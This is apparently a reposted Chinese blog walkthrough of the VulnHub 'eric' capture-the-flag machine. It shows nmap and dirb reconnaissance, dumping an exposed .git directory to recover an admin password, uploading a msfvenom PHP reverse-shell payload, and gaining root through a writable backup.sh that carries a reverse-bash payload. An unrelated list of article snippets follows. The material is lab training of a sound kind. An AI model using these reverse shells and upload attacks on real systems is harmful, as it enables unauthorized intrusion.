CTF学习-eric靶机练习:使用git tools获取敏感目录,提权

2023-11-03

Kali渗透测试-靶场练习eric


实验:
Kali的IP:192.168.1.11(不同的机器配置不同)
靶机IP: 192.168.1.6(动态ip)


操作步骤

  1. 靶机下载:
    https://www.vulnhub.com/entry/sp-eric%2C274
  2. 下载的7z压缩包,解压后为eric.ova,还原靶机,这里我开始使用vmware还原,失败,我又安装的Virtual Box,还原成功;
  3. 打开Kali,执行
    查看局域网内主机状态(192.168.1.11为我的攻击虚拟机Kali的IP):
nmap -sP 192.168.1.11/24

找到靶机IP:192.168.1.6
获取靶机ip
4. 查看端口:

nmap -A 192.168.1.6

开放了22和80端口,查看80端口对应的网站
查看靶机端口
5. 网站目录枚举:

dirb http://192.168.1.6:80/

网站目录枚举
6. 发现有/.git,/admin.php,/upload/等敏感目录,
admin有登录输入框,没发现注入点;
/upload没有访问权限;
尝试利用.git泄露敏感密码这个漏洞
这里使用GitTools工具下载这个网站对应的源码
GitTools下载
7. 下载网站源码
切换到下载的目录下的Dumper文件夹,输入以下命令,把源码下载到当前目录的dest目录下

./gitdumper.sh http://192.168.1.6:80/.git/ dest

GitTools获取源码
8. 提取源码:
切换到GitTools的Extractor目录下,执行下列命令:

./extractor.sh ../Dumper/dest/ dest

把源码提取到Extractor下的dest文件夹
提取网站源码
9. 找到admin密码
通过cat admin.php在admin.php文件中找到admin密码
通过源码找到登录密码
10. 登录后台
http://192.168.1.6/admin.php,输入admin, st@mpch0rdt.ightiRu$glo0mappL3登录后台,发现可以上传文件
11. 使用msfvenom生成php反向攻击载荷
在Kali中切换到家目录: cd ~
运行metasploit:

service postgresql start
msfconsole

打开另外一个终端,输入以下命令,生成攻击载荷(php-reverseTCP):

msfvenom -p php/meterpreter/reverse_tcp -f raw -o x.php

php reverse TCP攻击载荷
复制x.php,打开浏览器,通过/admin.php上传到网站,
上传的文件路径为: /upload/x.php
12. 在metasploit console中准备攻击:

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.11(kali的IP)
run

metasploit攻击准备
13. 访问http://192.168.1.6/upload/x.php,在kali中获取到webshell:
在metasploit console中输入shell,查看靶机目录,切换到/home/eric找到一个flag.txt
在这里插入图片描述
14. 提权-生成并写入提取脚本
在eric目录下看到有一个backup.sh,配置权限错误,可以写入提取脚本
在metasploit中生成提取脚本:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.11 lport=2333 R

写入脚本:

echo "提取脚本">backup.sh

在这里插入图片描述
15. 提权
在一个新的终端,生成一个netcat连接,端口为2333:

nc -lvp 2333

执行./backup.sh命令获取tcp连接,提权成功:
在/root目录下找到flag.txt
在这里插入图片描述
完成!!!

参考视频:
https://www.bilibili.com/video/av80188178/?spm_id_from=333.788.videocard.2

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTF学习-eric靶机练习:使用git tools获取敏感目录,提权 的相关文章

  • 如何注册 Docker hub

    Docker hub 是什么 Docker Hub 是 Docker 社区分享 Docker 镜像的网站 存储库 上面有很多 Docker 镜像 例如 nginx 官方镜像 你可以从Docker Hub上下载这些镜像 也可以在上面分享你自己
  • 比默认的 Python shell 好太多,IPython 实用小技巧合集

    导语 IPython 是一个 Python的交互式shell 比默认的 Python shell好用得多 它有许多好用的特性 本文将对一些特性进行介绍 介绍 IPython 是一个Python的交互式shell 比默认的 Python sh
  • 如何吃透csapp

    读薄 读厚csapp 非常不错的博客 既有对书本内容的理解 也有对实验内容的剖析 当然我还没看 先马 并且立个flag 必看完csapp 看完奖励自己一趟旅行 EOF 补充 本书的使用指南
  • 程序员常用九大算法(二分查找(非递归)、分治、动态规划、KMP、贪心、普里姆、克鲁斯卡尔、迪杰斯特拉、弗洛伊德算法)

    程序员常用九大算法 1 二分查找 非递归 2 分治算法 3 动态规划算法 4 KMP算法 5 贪心算法 6 普里姆算法 7 克鲁斯卡尔算法 8 迪杰斯特拉算法 9 弗洛伊德算法 1 二分查找 非递归 就是不使用递归的二分查找 这里不做介绍
  • 机器学习(1):独立同分布IID(independent and identically distributed)

    1 独立同分布independent and identically distributed i i d 在概率统计理论中 如果变量序列或者其他随机变量有相同的概率分布 并且互相独立 那么这些随机变量是独立同分布 在西瓜书中解释是 输入空间
  • 程序员的浪漫——欲寄彩笺兼尺素,山长水阔知何处

    欲寄彩笺兼尺素 山长水阔知何处 每当提及程序员 人们往往想到的是带着眼镜 不修边幅 面对电脑 两眼无光的窘态 然事实上每个热爱编程的人 内心深处都藏有一处不为人知充满着浪漫色彩与幻想气息的地方 而这个地方也只为一个人开放 每个热爱编程的程序
  • 在win10环境下的vscode中使用xdebug进行PHP断点调试

    第一步 下载VScode和phpstudy 具体下载网址我放到下面 VScode Visual Studio Code Code Editing RedefinedVisual Studio Code Code Editing Redefi
  • 深入浅出讲解:php的socket通信

    对TCP IP UDP Socket编程这些词你不会很陌生吧 随着网络技术的发展 这些词充斥着我们的耳朵 那么我想问 1 什么是TCP IP UDP 2 Socket在哪里呢 3 Socket是什么呢 4 你会使用它们吗 什么是TCP IP
  • mysql8坑太多_使用mysql8时遇到的一些坑

    1 时区问题 往数据库插入datetime类型的时间发现 数据库里存储的比实际晚13个小时 而服务器的时间是东八区没问题 解决方法 连接数据库url中加上serverTimezone GMT 2b8 2 java sql SQLExcept
  • Memcached 未授权访问漏洞验证

    Memcached 是一个高性能的分布式内存对象缓存系统 用于动态Web应用以减轻数据库负载 该服务的端号为 11211 使用绿盟漏洞扫描系统发现某服务器存在Memcached 未授权访问漏洞 如下图所示 验证方法一 使用nmap 脚本sc
  • 使用Gson解析复杂的json数据

    http blog csdn net tkwxty article details 34474501
  • [python学习] 简单爬取图片网站图库中图片

    最近老师让学习Python与维基百科相关的知识 无聊之中用Python简单做了个爬取 游讯网图库 中的图片 因为每次点击下一张感觉非常浪费时间又繁琐 主要分享的是如何爬取HTML的知识和Python如何下载图片 希望对大家有所帮助 同时发现
  • Unity 世界坐标转UI坐标

    一 Unity中有四种坐标系 1 World Space 世界坐标 三维空间坐标 浮点数 2 Screen Space 屏幕坐标 以像素来定义的 以屏幕的左下角为 0 0 点 右上角为 Screen width Screen height
  • cramfs文件系统制作

    参考 http blog csdn net liukun321 article details 7256456 1 首先配置内核 打开对cramfs的支持 File systems gt Miscellaneous filesystems
  • win10 安装svn遇到2503错误的解决办法

    win10安装 svn visualsvn ankhsvn 遇到2503错误 解决办法 以管理员身份打开cmd 输入命令 C windows system32 gt msiexec package D 软件 8 SVN AnkhSvn 2
  • vue 自定义组件切换时刷新

    我们在使用vue自定义组件时 常常会遇到切换组件的操作 但是切换组件的时候 如果没有处理好 组件内容就不会刷新 如 标签页下放自定义组件 切换标签时 组件里面的内容不刷新 导致页面停留在上一次的操作 那么我们应该如何来解决这个问题呢 接下来
  • 1 Linux系统性能测试与监测工具汇总

    综合能力 性能测试 Unixbench root localhost Run 计算 查看当前CPU负载 uptime root localhost uptime 测试单cpu计算能力 bc root localhost time echo
  • iOS APP开发

    iOS APP开发 一 个人开发者申请 苹果ID Apple ID 的创建 成为开发者 二 如何开发一个app Id 证书 配置文件 开发者账号的管理 iOS 项目打包和发布 一 个人开发者申请 使用苹果设备时必须要有一个苹果账户 苹果账户

随机推荐

  • unity场景体跳转教程(超简单)

    场景跳转 首先创建一个页面 如下图 在图片中添加画布 图片 按钮 再加一个空物体 这个场景我起名叫1 然后在新建一个一样的场景我叫的是2 里边同样有画布 按钮 空物体 然后再新建一个脚本文件夹写上如下代码 using System Coll
  • su: failed to execute /bin/bash: Permission denied问题解决

    昨天夜里发版 有两台机器因为云官方改配 突然切换不到普通用户 su su failed to execute bin bash Permission denied 根据百度 原来是 bin bash权限设置的原因 chmod 755 bin
  • vue+Ts 报vue ts this报Property ‘x‘ does not exist on type

    个人感觉就是TS检测不到this的类型 解决方法如下 1 第一种方法 this as any 后面跟要调用的就行 2 第二种方法 tsconfig json文件 strict false 改成false 参考链接 https cn vuej
  • 浅谈Python解释器的组成

    Python解释器是一个复杂的软件 它可以解释和执行Python代码 以下是Python解释器的主要组成部分 源代码词法分析器 Lexical Analyzer 这部分的任务是将输入的Python源代码分解成称为 tokens 的基础元素
  • Diffusion笔记

    一 Diffusion是什么 Diffusion 是一种去噪扩散模型 工作原理是对图像逐步施加噪点 直至图像被破坏变成完全的噪点 然后再逆向学习从全噪点还原为原始图像的过程 而 AI 所看到的是全是噪点的画面如何一点点变清晰直到变成一幅画
  • C++-Cmake指令:cmake_minimum_required

    命令格式 cmake minimum required VERSION
  • nginx禁用3DES和DES弱加密算法

    nginx禁用3DES和DES弱加密算法 项目背景 最近护网行动 收到漏洞报告 如下 漏洞名称 SSL TLS协议信息泄露漏洞 CVE 2016 2183 原理扫描 详细描述 TLS是安全传输层协议 用于在两个通信应用程序之间提供保密性和数
  • 创建第一个phpstorm项目(phpstorm+Apache)

    创建第一个phpstorm项目 1 点击新建项目 2 选择新建空项目 3 选择新建项目位置 由于要使用apache 所以项目一定要建在apache下的htdocs下 4 给项目命完名 5 再次确认文件位置是否正确 点击创建 6 为新创建的项
  • matplotlib刻度值使用科学记数法

    原本 plot 出的图 y 轴刻度值太多 0 想用科学记数法 去掉后面那些 0 效果 要设置 ax ticklabel format style sci scilimits 1 2 axis y 其中 style sci 指明用科学记数法
  • GoFrame 代码生成工具【gf】SQLite ORM映射报错: unknown driver “sqlite3“ (forgotten import?)

    1 环境 Windows10 golang1 7 GoFrame1 16 SQLite3 2 异常 执行 gf gen dao 生成代码时报错 unknown driver sqlite3 forgotten import 3 排查 官方文
  • EduCoder_web实训作业--播放视频

    第一关 B A C B AC 第二关
  • 【C++学习第七讲】简单变量(一)

    目录 简单变量 一 简单变量 1 变量名 2 整型 3 整型short int long和long long 面向对象编程 OOP 的本质是设计并扩展自己的数据类型 设计自己的数据类型就是让类型与数据匹配 如果正确做到了这一点 将会发现以后
  • 博客志第一天——判断一个整数N是否是完全平方数?

    关注博客园很久 今天是第一次写博客 先附上一个C题目 写一个函数判断一个整数是否为完全平方数 同时是否该数的各位数至少两个相同的数字 1 include
  • 期货开户要注意轻仓止损

    保持同一比例的仓位 比如说 每次做一手 赚了5次 然后有一次做了10手 亏了一次 那么 可能把前面赚的钱全亏回去 排除任何的主观预测 根据实际行情走势来操作 而不是根据自己的预测或是期望或是恐惧来操作 不能因为预测行情涨而买入 也不能因为预
  • 动态修改el-input样式;动态修改elmentUI元素样式;css变量

    场景 正常我们动态修改div元素的样式 使用 style和 class即可 但是我们想要动态修改element的组件样式时候 例如el input字体颜色 由于el input的样式嵌套很深 我们需要修改的实际是 el input inne
  • arxiv文章下载速度慢解决方法

    arxiv文章下载速度慢解决方法 一 arxiv网站作用 参考知乎链接 Arxiv是一个免费张贴和下载预印本的网站 最初用于高能物理和粒子物理学家之间的交流 如今已经发展到了物理学的各个领域 且延伸到了物理 数学 非线性科学 计算机科学 数
  • autoscan、aclocal、automake和autoconf区别【转】

    转自 https blog csdn net renhui1112 article details 96480535 autoscan 扫描源代码以搜寻普通的可移植性问题 比如检查编译器 库 头文件等 生成文件configure scan
  • Git-2-网络仓库使用

    本文内容介绍 需要连接到远程网络 并实现远程网络的同步 远程网络库最常见的是GitHub 是国外的服务器 用户最多 网络库中的资源最多 网络可能会不稳定 这里采用国内的网络仓库Gitee码云 使用中文界面 比较适合初学者使用 0 首先介绍下
  • 2023华数杯A题 隔热材料的结构优化控制研究(论文+代码)

    目录 问题一 问题2 问题3 离子群算法代码 Matlab 离子群算法代码 python
  • CTF学习-eric靶机练习:使用git tools获取敏感目录,提权

    Kali渗透测试 靶场练习eric 实验 Kali的IP 192 168 1 11 不同的机器配置不同 靶机IP 192 168 1 6 动态ip 操作步骤 靶机下载 https www vulnhub com entry sp eric